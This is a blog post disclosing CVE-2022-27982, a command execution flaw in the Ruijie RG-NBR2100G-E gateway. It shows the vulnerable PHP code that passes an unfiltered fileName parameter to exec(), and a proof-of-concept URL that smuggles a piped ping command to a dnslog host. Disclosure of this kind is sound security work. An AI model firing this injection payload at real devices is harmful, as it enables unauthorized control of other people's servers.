Headline
CVE-2022-27982: Ruijie-NBR has a Command Execution vulnerability – Adminxe's Blog
RG-NBR-E Enterprise Gateway RG-NBR2100G-E was discovered to contain a remote code execution (RCE) vulnerability via the fileName parameter at /guest_auth/cfg/upLoadCfg.php.
**0x00 **Affected component(s)****
Affected: RG-NBR-E Enterprise Gateway RG-NBR2100G-E Affected source code file：/guest_auth/cfg/upLoadCfg.php
**0x01 Vendor of the product(s) and **vulnerability type****
https://www.ruijie.com.cn/
Command Execution
**0x02 **Attack vector(s)****
Vulnerability file path ‘/guest_auth/cfg/upLoadCfg.php’,
the ‘fileName’ parameter passed in is not strictly filtered.
It is directly brought into the command line and bypassed by payload ( | ),
resulting in a command execution vulnerability,
which can obtain server permissions.
0x03 Suggest
An issue was discovered in RG-NBR-E Enterprise Gateway RG-NBR2100G-E. There is a Command Execution that can execute any harmful command on the serveron to control the server。
**0x04 **Source code analysis****
path：
/guest_auth/cfg/upLoadCfg.php
function deleteFile($fileName)
{
$cmd = "rm -fr $fileName";
$res = exec($cmd, $out, $status);
}
the ‘fileName’ parameter passed in is not strictly filtered.
It is directly brought into the command line and bypassed by payload ( | ),
resulting in a command execution vulnerability.
Command Execution ：
payload：
Feasibility of using Ping dnslog for detection：
http://127.0.0.1:80/guest_auth/cfg/upLoadCfg.php?fileName=|ping p28b5r.dnslog.cn
转载请注明：Adminxe’s Blog » Ruijie-NBR has a Command Execution vulnerability
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